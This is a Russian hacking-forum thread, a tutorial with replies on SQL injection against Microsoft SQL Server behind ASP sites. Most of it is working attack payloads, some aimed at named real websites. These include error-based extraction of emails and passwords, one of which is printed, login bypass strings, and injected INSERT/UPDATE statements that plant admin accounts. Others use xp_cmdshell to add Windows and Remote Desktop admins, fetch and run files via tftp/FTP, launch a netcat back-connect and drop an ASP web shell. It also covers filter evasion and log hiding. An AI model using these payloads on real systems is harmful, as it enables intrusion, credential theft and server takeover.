Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Провидение Иньекций в MSSQL сервер от Microsoft. (https://forum.antichat.xyz/showthread.php?t=30501)

guest3297 03.01.2007 20:35

Проведение Инъекций в MSSQL сервер от Microsoft.
 
Проведение инъекций в MSSQL сервере от Microsoft.


Вступление.
Начнем, пожалуй, с вывода ошибок, и так, чем же отличается? - выводом ошибок у mysql и mssql. В mysql можно отключить вывод ошибок, в mssql этого сделать нельзя единственное что можно реализовать это редирект при выводе ошибки. В mssql вывод данных в mssql гораздо более проблематичный чем mysql (выводится только 1 переменная всегда), при этом не все данные из бд можно бывает вывести, иногда не выводяться колонки с кодировкой date int и др. Многие считают что сделать полноценный дамп базы через mssql иньекцию невозможно, но это не так, дальше я попытаюсь рассказать вам все тонкости проведения sql иньекций в msql.

Мы будем рассматривать иньекции на asp aspx cfm (c php mssql ведет себя чуть по другому), так же не будем забывать что админ может просто изменить в конфигах сервера обработку mime/type и расширение файла может любым, но это не введет нас в заблуждение. Если иньекция есть то мы ее найдем. В плюс можно отнести и то что на msql не может существовать blind (слепых) иньекций.

Вывод ошибок.

Приступим к поиску непосредственно самих иньекций. И начнем с изучения ошибок которые выводит mssql в ответ на наши извращения.
Рассмотрим данный урл
http://www.psdata.no/ps.asp?it=1'

Код:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'NO'.

/prodDetails.asp, line 1282

Значит мы нашли вывод ошибки, но это еще не означает что получится изменить запрос к бд.

Проверяем на нашиличие иньекции:


Для того, что бы проверить, надо что-нибудь вывести, для этого используем подзапрос, и так что же мы можем вывести:

1 or 1=@@version-- - Версия
1 or 1=(select db_name())-- - Имя Базы Данных текущего юзера.
1 or 1=(select system_user)-- - Имя юзера владельца данной базой.


Но в нашем случае нам придется слегка видоизменить запрос для его работоспособности...
http://www.psdata.no/ps.asp?it=1' or 1=(select db_name())--
В ответ получим ошибку:
Код:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'fshop' to a column of data type int.

/prodDetails.asp, line 1282

где fshop имя Базы Данных текущего юзера.

Поиск таблиц и колонок.


В mssql есть база данных в которой хранится информация о всех таблицах и колонках во всех бд данного сервера название ей INFORMATION_SCHEMA. Интересуют нас в ней 2 таблицы TABLES и COLUMNS. И так составим запрос:
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--

В нашем случае запрос будет такой.

http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES)--

В ответ мы получим:
Код:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'tblMenuTCL' to a column of data type int.

/prodDetails.asp, line 1282

Где tblMenuTCL одна из таблиц. Найдем интересующую нас таблицу методом перебора через NOT IN

http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(' tblMenuTCL'))--

Получаем ошибку:
Код:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'tblTCL_TEST1' to a column of data type int.

/prodDetails.asp, line 1282

Где tblTCL_TEST1 имя второй таблицы. Далее, перебираем до той таблицы которая нам будет нужна. Дальнейший перебор осуществляется так:

1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','ta ble2',........,'table50'))--

Теперь когда мы нашли нужную таблицу надо узнать ее колонки что бы реализовать вывод данных для этого используем похожий запрос

1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+C OLU MN_NAME+NOT+IN+('column','column2',.....,'column50 '))--

Вывод данных.


После того как мы узнали структуру базы данных приступим к выводу данных. Для примера я возьму иньекцию на другом сайте и выведу оттуда что нибудь
меня заинтересовали данные колонки:
Код:

CustID
EmailAddress
Password

Приступим к составлению запроса для начала выведем 1 из значений.

http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+EmailAddress +from+Customers)--

Код:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the varchar value 'pdelia@ast-ss.com' to a column of data type int.

/dev/qa_search/full_text.asp, line 23

Что же попробуем вывести все данные которые нас интересуют в 1 запросе, для этого составляем запрос

http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers)--
Код:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'pdelia@ast-ss.com:fzr1000r1' to a column of data type int.

/dev/qa_search/full_text.asp, line 23

Отлично все что нам надо... но это только 1 строка из всей сможем ли мы посмотреть другие для этого используем простой запрос where:

http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers+where+CustID=3)--

Мы получили совсем другую строку ту в которой CustID=3 так мы можем вывести всех юзеров. Но возникает вопрос, как же все-таки сдампить базу. Для этого существуют специальные скрипты которые перебирают все CustID (в нашем примере) и записывают все в файл без лишнего мусора.
Теперь непосредственно о том как мы обьеденяем данные используем мы cast() синтаксис которого cast(perm as encode), далее %2B%27%3A%27%2B это у нас и есть : между выводимыми данными в раскодированном виде выглядит так +':'+.

Исполнение команд.


Еще мы можем исполнять комады если юзеру под которым запущена база достаточно прав, как правило, это только юзер sa. Вот списочек процедур которые при определенных условиях мы сможем использывать:
Код:

xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида)

Теперь как же это чудо нам вставить в запрос
;exec master..xp_cmdshell 'dir c:\'--
иногда
';exec master..xp_cmdshell 'dir c:\'--

Если вы задаите вопрос что же можно сделать то посоветую вам обратиться к help cmd.exe, лично использую только 1 метод добавление юзера.

POST Иньекции.


Конечно же затронем тему иньекций постом. в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных. Если же мы хотим просто обойти авторизацию то и используем подобные комбинации в полях логина и пароля:
Код:

' or 1=1--
" or 1=1--
or 1=1--
' or '1'='1
" or "1"="1
') or ('1'='1

Отсупления.


И так несколько моих советов по инжектированию:

1) Ошибка очень многих использывать в mssql union
Например тут:
http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+union+select+0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0--
хотя тут легче работать с подзапросами
http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+or+1=@@version--

2) не забывайте исользывать прерывание запроса в конце --

3) При поиске иньекции методом описанным мной то есть подставляем к параметру or+1=@@version-- пробуйте разные комбинации например
'+or+1=@@version--
')+or+1=@@version--
"+or+1=@@version--
и т.д.

4) Почему использывать именно @@version?
Потому что выводит данные в несколько строк и их легко заметить как например в данном запросе на aspx
http://barijessence.com/?Page=ModelShow&ProductID=1+or+1=@@version--

5)Что следует почитать?
_http://injection.rulezz.ru/
_http://www.securitylab.ru/analytics/216211.php
_http://www.securitylab.ru/analytics/216332.php
_http://www.securitylab.ru/analytics/216333.php
_http://www.securitylab.ru/analytics/216344.php
Так же статьи на forum.antichat.ru

Статья расчитана на начинающих.
И справкой для Всех остальных :)
[ cash ] Hack-Shop.Org.Ru (c)


_Great_ 07.01.2007 13:39

Цитата:

в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных.
да ладно. а mysql ошибок не выводит? о_0

guest3297 07.01.2007 18:39

2_Great_
В большинстве авторизацый которые я встречал (именно авторизация про них говорил) обходился ' or 1=1/*.

Обновил все о чем писали.


Исправил граматические ошибки спасибо Thanat0z

halkfild 14.02.2007 04:40

нужна вторая часть..

и вопрос еще почему при выполнении подзапроса
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)
пишет ошибку
Incorrect syntax near the keyword 'top'.

все до вложеного правильно..

guest3297 10.04.2007 18:33

Продолжение статьи:

Класcификация ошибок в Базах Данных от Microsoft.


Рассмотрим 3 версии самых популярных ошибок в asp.

Для начала рассмотрим те ошибки с которыми мы ничего сделать не можем.
И так по ключевым словам:

1)
Microsoft Jet Database
2) VbScript
3) JetDataBase
4) "Потерянный параметр"

Первые 3 класса ошибок образуют отдельную группу. Собственно с чем мы имеем дело. Во всех 3 Примерах мы имеем дело с базой данных Microsoft Jet Database Engine. Как мы видим работает она на Access + VB. Языка как такового в запросах там не используется. В этих случаях мы не можем провести инъекцию так как:
1) Не будет вывода.
2) Запросы передаются на очень низком уровне.
3) Единственное что на мой взгляд тут можно сделать это стресс тест на переполнение буфера в отдельных компонентах которые в крупных компаниях пишут сами.
База данных в таких случаях хранится в файле *.mdb, который обязательно находится на веб сервере вместе с web скриптами. Протокол передачи запросов между базой и веб приложениями я не изучал.
Часто встречал сервера где исользуется обычный mssql и JetDB так что если в первый раз вы определили данный вид базы не стоит расстраиваться, может еще есть шансы на успех.
Редактировать и открывать файлы базы данных можно в Microsoft Office Acceess.

Теперь рассмотрим
"Потерянный параметр".
Это я встречал на всех версиях Серверов от Microsoft и так и не разобрался с чем собственно это связанно. При попытке инъекции запроса с нарушением синтаксиса Сервер возвращает ошибку с некорректным параметром. Например

При url
Цитата:

site.gov/a.asp?catId=66'
Цитата:

param id=66
В большинстве случаев это из-за фильтрации, для меня это самое логическое объяснение. Но это не всегда. Лично я встречал случай когда.
Цитата:

id="$catId"-60;
Если это так, то мы составим запрос.
Цитата:

site.gov/a.asp?catId=66'&id=6
При этом если в ошибке параметр исчезает и запрос является верным, то мы можем составить далее правильный по синтаксису запрос.
Цитата:

site.gov/a.asp?catId=66+or+1=@@version--&id=6
Но в большинстве случаев это именно фильтрация входяшего параметра, и только потом передача его в с другим "именем" в базу данных.

Идеальная ошибка при составлении не корректного запроса к бд будет.
Цитата:

Microsoft OLE DB Provider for SQL Servererror '80040e14'

Unclosed quotation mark before the character string ''.

/path_to_dir/file.asp, line 99


Именно эта ошибка 80040e14, хотя встречаются разные. Здесь с вероятностью 95% есть инъекция. Так же не забываем, что если ошибка возникает без манипуляции вами параметров скрипта, то это скорей всего ошибка в настройках скрипта, а не инъекция.

Коды ошибок :
http://msdn.microsoft.com/library/ja/default.asp?url=/library/ja/adoce31/htm/ado30ref_100.asp


Данной статьей я хотел показать в каких случаях возможна инъекция да бы на форуме не было одинаковых тем.
Служит продолжением статьи http://forum.antichat.ru/showthread.php?t=30501



[ cash ] Hack-Shop.Org.Ru (c)

guest3297 03.06.2007 15:25

Реализация скрипта для просмотра и дампинга баз, через mssql-inj.

Исходников не будет.

http://pidor.in/mssql.php

Shred 04.07.2007 20:10

Кто-нибуть ещё может предложить способы для Post Иньекции? Наткнулся на страницу авториции, ничего из перечисленного не прокатило, неужели всё так жёстко фильтруется?

guest3297 04.07.2007 20:16

Не так пробывал значит.

_Pantera_ 05.07.2007 00:30

модификация данных в таблицах
 
так же хочу добавить от себя, в отличае от mysql в mssql возможна модификация данных в таблицах

INSERT

Команда INSERT вставляет новые записи в существующую таблицу. Тоесть мы можем найдя таблицу admins добавить нового пользователя, то есть себя, не нанося существенный вред данным
Рассмотрим на примере:
Код:

http://site.ru/index.asp?id=1; INSERT INTO admins (id, login, password) VALUES (5,'Pantera','qwerty')--
В данном примере я добавил нового админа с id 5, логином Pantera и паролем qwerty;


UPDATE

Команда UPDATE обновляет столбцы таблицы table в соответствии с их новыми значениями
в строках существующей таблицы.

Это значит то, что мы можем поменять к примеру пароль конкретного юзера на свой
Рассмотрим на примере:
Допустим мы нашли таблицу с названием admins и наша задача поменять пароль адмну с логином admin
делаеться это вот так:
Код:

http://site.ru/index.asp?id=1; UPDATE admins SET password = 'newpass' WHERE name='admin'--

Shred 05.07.2007 13:16

Цитата:

Сообщение от [ cash ]
Не так пробывал значит.

всмысле не так пробовал? :)
просто поочерёдно тулил в поля логин и пасс предоставленные значения ("' or 1=1--" итд). Скрипт вообще никак не ругался, только говорил что лониг и пароль не верны. Причём если вставлять только в логин то скрипт сразу выдавал, что мол пароль не введён. Думал что эта проверка реализована ява скриптом, но в исходниках толком ничего не нашёл, хотя правда бегло просмартел. Нашёл названия переменных логина и пароля и присваивал им значения прямо в адресной строке браузера - тоже ничего. И ещё, возможно ли просто сохранить страничку, вручную поменять метод передачи, ну подставить полный путь к скрипту и таким образом передавать атутентификационные данные, будет ли это нормально (или ненормально :)) воспринимать скрипт?

guest3297 05.07.2007 13:53

ява фильтрация обходитьсся на уровне посылки пакета.
Если нету ошибки то с чего ты взял что есть иньекция.
' or 1=1--

Придает иситаное значение передаваемому запросу так что или ты авторизуешься или нет.

Shred 05.07.2007 14:33

Цитата:

Сообщение от [ cash ]
ява фильтрация обходитьсся на уровне посылки пакета.

а если просто сохранить страничку и вырезать с неё ява скрипт блок, а потом просто запустить этот сохранённый фалик? Думаю так проще.
Цитата:

Сообщение от [ cash ]
Если нету ошибки то с чего ты взял что есть иньекция.

дак в том, то и прикол, что нет ошибок и инъекции соответственно тоже, именно поэтому спрашивал может есть ещё какие-либо приёмы, кроме уже описанных :)
Цитата:

Сообщение от [ cash ]
' or 1=1--
Придает иситаное значение передаваемому запросу так что или ты авторизуешься или нет.

у меня обычно такие запросы приводили не к авторизации, а просто к ошибке.

guest3297 05.07.2007 14:45

Цитата:

а если просто сохранить страничку и вырезать с неё ява скрипт блок, а потом просто запустить этот сохранённый фалик? Думаю так проще.
Просто перехватить пакет исправить данные и отправить дальше.

Цитата:

у меня обычно такие запросы приводили не к авторизации, а просто к ошибке.
Нет универсального способа.

Shred 05.07.2007 15:39

Цитата:

Сообщение от [ cash ]
Просто перехватить пакет исправить данные и отправить дальше.

этож нада знать как перехватывать, исправлять и передавать дальше :)

А всё таки не подскажешь, может известы ещё пару примеров, что можно втулить в форму авторизации?

_Pantera_ 09.07.2007 13:38

Выполнение системных команд через Sql запрос
 
Тема которую почти никогда не затрагивают в статьях про MSSQL сервер от Microsoft.
При наличии соответствующих прав, хакер может выполнить произвольную команду.
Вот пример:
Код:

http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'--
Выводим список файлов и под-папок из текущей папки

Также можно залить любой файл на уязвимый сервер
Код:

http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'tftp –i 127.0.0.1 get file.exe'--
127.0.0.1 - это сервер на котором лежит наш file.exe
и выполнить его
Код:

http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'file.exe'--

guest3297 09.07.2007 13:43

http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'

Че куда ты выведешь???
Запрос прервать коментариями не надо...

Короче почитал поржал...

dudits 15.07.2007 19:23

почему при выполнении подзапроса
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)
пишет ошибку
Incorrect syntax near the keyword 'top'.

в данном случае сайт

http://info.l2r.ru/?part=items&id=1+or+1=(SELECT+TOP+1+COLUMN_NAME+FR OM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='ta ble_name'+AND+COLUMN_NAME+NOT+IN+('column'))--

guest3297 23.07.2007 14:28

UPDATE!
Уневальсальный дампер для mssql через иньекцию.

http://slil.ru/24655320
http://www.rapidshare.ru/350872


Видео тут.
Собсвенно продолжение статьи и то о чем все просили.

http://hack-shop.org.ru/mssql.php

guest3297 08.08.2007 00:13

UPDATE!
Официальный хелп от майкрософт по ADO (Jet Database). На русском.
http://support.microsoft.com/ph/1596

che_ha 14.08.2007 12:40

А что делать если фильтрируюеться знак ( ' ) , а когда вожу запрос через char() выдает ошибку 'The char function requires 1 arguments' ??

guest3297 25.08.2007 13:07

Альтернативы MSSQL иньекций.

Начнем опущу все начальные данные которые и так есть в прошлых статьях начнем с главного. Основной нашей целью будет изменить данные. Хачу обратить ваше внимание что в некоторых случаях когда мы не можем вывести данные, мы можем их удалить, проапдейтить или добавить(DELETE UPDATE INSERT), а так же выполнить различные команды, я хочу пояснить что данных не корректно обрабатываются только на выходе а не на входе это можно сравнить со слепыми иньекциями в mysql, раньше я писал что слепых иньекций не сушествует но это не так. В итоге мы можем исполнять произвольные команды в некоторых случаях, от чего это зависит я не разобрался, лишь пишу что это возможно. Теперь рассмотрим еще 1 альтернативыный способ рассмотрим код ошибоки 80040e14 по ANSI это
Цитата:

"The command text contained one or more errors"
ошибочка довольно забавная особденно кода идет еще с добавочным потерянным параметром (или без него) допуспим:

GET
?id=1'
и в ответ получаем
Цитата:

Syntax error in string in query expression 'addID = 1000''
Дальше будем что делать за прос что бы узнать table.feild, и будем использывать такую конструкцию для запроса having 1=1--
(для правильного запроса могут быть необходимы ' ` " ") ') `) и так далее это оригинальный запрос)

В ответ мы должны получить что то типо такого запроса.
Цитата:

Column ‘NEWS.TITLE’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
Будем смотреть структуру бд далее используя такой синтаксис.
Цитата:

‘ group by NEWS.TITLE having 1=1--
Во ответ получим что то типа
Цитата:

Column ‘NEWS.TEXT’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
В итоге мы нашли еще 1 поле NEWS.TEXT продолжим наш небольшой переборчик.
Цитата:

‘ group by NEWS.TITLE,NEWS.TEXT having 1=1--
Получим что то типо:
Цитата:

Column ‘NEWS.ID’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
Этот способ мы можем использывать для обхода кавычек и замены методу where not in('1','2').
Цитата:

‘ group by NEWS.TITLE,NEWS.1,NEWS.2,NEWS.3,NEWS.4 having 1=1--
Что ж мы узнали примерную структуру, теперь мы можеть узнать кодировку данных... Будем использывать функцию sum(), для этого нам придеться исползывать запрос вывода select мы можем сделать это 2 способами исползывать подзапрос или оператор uinon разницы в приныпе нету, в примере буду сползывать union с 1 колонкой.
Цитата:

` union select sum(ID) from NEWS--
` union select sum(TITLE) from NEWS--
` union select sum(TEXT) from NEWS--
Получим в ответ что типо:
Цитата:

The sum or average aggregate operation cannot take a
varchar data type as an argument.
Где varchar это тип кодировки. Зачем это есть кодировки кторые не выводяться в иньекции, сообсвенно в 99% случаев выводяться кадеровки varchar и int. Дальше можно сделать адейт таблицы
Цитата:

` ; insert into NEWS values( 1, 'hack', 'hack')--"
или
` ; update NEWS values( 1, 'hack', 'hack')--
В ответ мы не должны получить не 1 ошибки так как запрос правильный, и не содержит выходных данных.
Пока все продолжение следует.

[ cash ] Hack-Shop.Org.Ru (c)

guest3297 01.09.2007 13:32

Цитата:

Ответьте на пост №23
Смотря в каком месте используеться кавычка, как правило обойти можно %27 %2527. А некоторых местах ее можно использывать как 0x27 в некоторых char(), все зависит от конкретного запроса.

Isis 01.09.2007 20:44

Код:

' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("change_ssn_history"))--
Здесь ругается на вторую кавычку или на последнюю..
Не на первую т.к. простой запрос
Код:

' or 1=@@version--
работает....

Вообщем такую ошибку выводит после моего запроса:
Код:

Warning: mssql_query() [function.mssql-query]: message: Line 1: Incorrect syntax near '\'. (severity 15) in C:\AppServ2\www\index.php on line 17

Warning: mssql_query() [function.mssql-query]: Query failed in C:\AppServ2\www\index.php on line 17

Warning: mssql_num_rows(): supplied argument is not a valid MS SQL-result resource in C:\AppServ2\www\index.php on line 18


guest3297 06.09.2007 09:13

Обход кавычек.
 
UPDATE! ВАЖНО!

Обход кавычек.

Итак очередной мини апдейт к статье. Итак обход кавычек покурив мануалов от мелкомгяких нашел интересную особенность по обходу кавычек в cmd и а так же xp..cmdshell. не пробывал тестить при фильтрации кавычек в др функциях, как select но все в ваших руках.

Если бы был открыт ремот декспот то можно бы было добавить юзера, благо обход кавычек нашел прикольный.

Цитата:
master..xp_cmdshell [net user lol lol /add]

тобишь меняем выражение в кавычках на [], все же полезно читать мануалы...

[53x]Shadow 09.09.2007 23:54

Цитата:

Сообщение от che_ha
А что делать если фильтрируюеться знак ( ' ) , а когда вожу запрос через char() выдает ошибку 'The char function requires 1 arguments' ??

Это происходит потому, что данная функция принимает только один параметр.
Для обхода фильтрации кавычек необходимо использовать функцию char(int ascii).
При этом необходимо учитывать, что функция принимает один параметр и конкатенация в MSSQL, происходит с помощью оператора "+".
Например если имя таблицы - USER, то соответственно при обходе надо использовать конструкцию char(117)+char(115)+char(101)+char(114), при этом кодировать сами кавычки уже не надо!!!
При проведении непосредственно инъекции необходимо так же помнить, что знак "+" интерпретируется в GET HTTP запросах как пробел, по-этому его необходимо заменять на его url encode %2B.
Для примера рассмотрим определение таблиц, если у нас при первом запросе к information_shema.tables вывалилось имя таблицы USER, то след запрос будет иметь вид:
Код:

http://www.site.com/news.asp?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char(117)%2Bchar(115)%2Bchar(101)%2Bchar(114)))--
в результате такого запроса получим имя второй таблицы и т.д.

Red_Red1 11.09.2007 18:12

Если гдето ошибаюсь не ругайтесь, но по моему тут небольшая неточность.
Цитата:

char(117)+char(115)+(101)+char(114)
Пропущен char рядом с (101). И USER с такими кодам нужно в нижнем регистре.
А сам вариант конечно же рабочий :)

[53x]Shadow 11.09.2007 18:18

Цитата:

Сообщение от Red_Red1
Если гдето ошибаюсь не ругайтесь, но по моему тут небольшая неточность.

Пропущен char рядом с (101). И USER с такими кодам нужно в нижнем регистре.
А сам вариант конечно же рабочий :)

Исправил, регистр не принципиален..

.::Gh0st::. 22.09.2007 18:58

мб пригодится кому для обхода кавычек
PHP код:

<?
$encode 
"table_name";

$n strlen($encode);
for (
$i 0$i <= ($n-1); $i++)
{
if ((
$n-1) === $i) {echo "char(".ord($encode[$i]).")";}
else
{
echo 
"char(".ord($encode[$i]).")%2B";    
}
}
?>


[53x]Shadow 22.09.2007 19:09

Цитата:

Сообщение от .::Gh0st::.
мб пригодится кому для обхода кавычек

Universal char SQL encoder
=)

ccrus 23.09.2007 09:42

2cash и все-все-все...:)
для обхода антимаджиков разных для хр_цмдшелл и прочих не требующих вывода проще юзать
declare @q varchar(8000) select @q=0x'.$query.' exec(@q)

guest3297 23.09.2007 15:13

Токо создание функции в запросе в не всегда прокатывает щас практикую на поллную создание функций штудирую мануалы, за пример спасибо интере интересная реализация.

guest3297 09.12.2007 12:31

Tsql, разделяй и властвуй.
 
TSQL, разделяй и властвуй.

Автор : [cash]
Дата : 07.10.2007
Продукт: TSQL



Интро.

Начнем с того, что язык TSQL разработан компанией microsoft для продуктов MSSQL Server и Microsoft Access и др. Самой вкусной частью этого языка являются хранимые процедуры, о которых мы и поговорим сегодня. Сразу хочу сказать, что стандартные запросы к базе данных рассматриваться не будут.

Взлом, хранимые процедуры, функции.

1)Хранимые процедуры.
И так начнем. После нахождения инъекции первое что мы делаем определяем юзера под которым запущенна база, для удачного проведения атаки нам необходимы права системного администратора sa или же юзера обладающего его правами. Нашей конечной целью будет получение шелла и слив базы данных. Рассмотрим процедуры, которые будут нам полезны.

xp_fixeddrives - вывод существующих логических разделов жесткого диска, например.

Код:

C 11155
D 1882
E 135140

xp_subdirs "c:\" – Аналог dir.
xp_create_subdir "c:\aaa" – cоздание папки.
sp_addlogin 'user', 'pass' – Добавление юзера базы данных.
sp_addsrvrolemember 'user', 'sysadmin' – Присвоение юзеру админских привилегий.
xp_regwrite – Запись в реестр.
xp_cmdshell – Исполнение команд.
Остановимся на последнем. Исполнение команд, что же еще может быть лучше этого… есть 1 недостаток у нас нету вывода. Ну начнем с самого распространенного способа добавление юзера на ремот декспот не буду останавливаться на этом и как то комментировать.

Код:

index.asp?id=1;exec master..xp_cmdshell 'net user user pass /add'--
index.asp?id=1;exec master..xp_cmdshell 'net localgroup administrators user /add'
index.asp?id=1;exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" user /add'

И сразу поговорим о фильтрации.
1) ‘‘ Можно обходить [].
2) Посылать запрос в 0x[HEX], как это сделать.

Код:

declare @q varchar(8000) select @q=0x[HEX] exec(@q)

Создаем и исполняем свою переменную. При этом надо помнить что в екзек мы должны вставить имя процедуры а не просто команду.

2)К базе на прямую.
Способ который может нам помочь. Как правило удаленный коннект юзера sa запрещен поэтому мы добавим своего юзера и законнектимся удаленно к серверу, если открыт 1433 порт. Сделаем мы это используя sp_addlogin и sp_addsrvrolemember, описанных выше, а далее мы можем слить базу и исполнять команды уже с выводом.

3)Сценарии.
И самое запись в файлы. Нам нужно найти папку для записи и попробовать записать туда файл. Файл мы будем записывать echo. И так что мы можем сделать используя эту великолепную функцию. Рассмотрим такой листинг.

Код:

echo user '$user' '$passwd' > '$file'
echo type binary >> '$file'
echo get '$download' >> '$file'
echo put '$upload' >> '$file'
echo quit >> '$file'

ftp -n '$ip' < ./'$file'
del '$file'

Исполнив этот набор команд мы можем загружать и скачивать файлы, так же что бы осмотреться на сервере можно использовать tree C:\. Так же можно загрузить netcat и запустить бекконнект. Зная путь до веб директории мы можем прям туда загрузить шелл.

4)bcp
bcp Является стандартной утилитой для дампа базы данных и имеет следующий синтаксис:

Код:

bcp "SELECT * FROM db..table" queryout c:\inetpub\dump -c –S[server] –U[user] –P[pass]
Узнать имя сервера мы можем по переменной @@SERVERNAME, а юзера и пароль мы можем добавить сами. Далее просто слить дамп себе на ftp. Второе применение bcp это заливка шелла. И так по порядочку, создаем табличку с будущим кодом.
Код:

;create table shell (code varchar(8000))--
далее инсертим в табличку.
Код:

;insert into shell (code) set values (‘|code|’)
далее записываем код из таблички в файл.

Код:

bcp "SELECT code FROM shell" queryout c:\www\shell.asp -c –S[server] –U[user] –P[pass]
5) Правда или ложь или посимвольный перебор глобально.
Не возможность вывести данные это лишь маленькая преграда мы всегда сможем составить запрос который давал нам ответ TRUE or FALSE или же 1 и 0, рассмотрим на примере.

Код:

if ((select system_user) = 'sa' OR (select system_user) = 'test') select 1 else select 1/0

DECLARE @q int; EXEC @q = xp_cmdshell 'dir *.exe';IF (@q = 0) SELECT 0 ELSE SELECT 1/0

6) sp_password или без палева.
Вообщем если добавить к запросу в конце --sp_password то ошибки ошибки не будут логироваться в системных журналах SQL Server, но не в журналах IIS или др веб сервера логии будут писаться лично я не понимаю как это фишка пашет но в документации написано что 100% работает, пример
Код:

1=@@version--sp_password
Как правило, использование POST в GET инъекциях не особо часто пашет из-за четко политики ASP как языка, но при возможности использования
7) Читаем файлы.
Для начала создадим таблицу file с полем text
Код:

;create table file(text varchar(8000))--
далее запишем туда файл используя конструкцию bulk insert

Код:

bulk insert file from 'c:\boot.ini '
и прочтем собственно

Код:

select top 1 text from file
Удалим дабы не спалили админы

Код:

;drop table file
8) Объединение данных в базе в одну таблицу.
Что бы не мучаться с выводом большого количества инфы, можно просто объединить их в одну табличку и посмотреть все разом, вообще очень полезная фишка при сливе базы через инъекцию. Для начала нам надо создать таблицу назовем ее tmpusers c одной единственной колонкой dump, так же предполагается что у нас есть табличка users с полями id, usr, pwd. Пример

Код:

;begin declare @dump varchar(8000) set @dump =':' select @dump=@dump+' '+usr+'|'+pwd from users where username>@dump select @dump as ret into tmpusers end--
Хочу обратить внимание что +' '+ и др. соединяющие конструкция типа cast(usr+as+nvarchar)+':'+cast(pwd+as+nvarchar) стоит заменять URL кодировкой %2b%27%3a%27%2b.
Далее нам надо сделать запрос select к тому что мы создали.

Код:

select top 1 dump from tmpusers
И дропнуть табличку.

Код:

;drop table tmpusers
9) Полезные таблицы.
master..sysservers – Серверы слинкованные с данные(для применения атак ROWSET)
Системные юзеры.
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys..sql_logins


3) Посимвольный перебор.
Далеко не во всех случаях при инъекции выводиться ошибка при подстановке кавычки, что делать в это случае определить юзера не составит труда, но что делать если у нас не превилегированный юзер, а кто отменял substring() в mssql синтаксис у нас будет следующий

Код:

1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 table_name FROM dbo1.user WHERE id=1 AND name NOT IN(SELECT TOP 0 name FROM dbo1.user WHERE id=1)),1,1)),0)>1--
В ответ мы получим либо истинный либо ложный ответ. Рассмотрим еще один способ у него есть аналог в mysql и называется он BENCHMARK(). Основная его идея в отлике сервера при исолнении запроса. WAITFOR DELAY() и имеет синтаксис

Код:

WAITFOR DELAY '00:00:00'--
Использывать мы будем его так же с оператором IF вот собственно пример

Код:

if (select system_user) = 'sa' waitfor delay '0:0:25'
Не забываем что время на исполнение у сервера, как правило 30 секунд поэтому 20-25 оптимально.

4)Фильтрация.
Сегодня мы уже затрагивали тему фильтрации но заострим на этом внимание. Первое что стоит попробовать фильтруется ли запрос как в GET так и в POST или же наоборот. Далее фильтрация по маске на пример exec или же select для того что бы обойти данный вид фильтрации нам надо иметь и представлять какие комментарии есть в данном языке и так:


‘#’ - конец строки
‘--‘ - конец строки
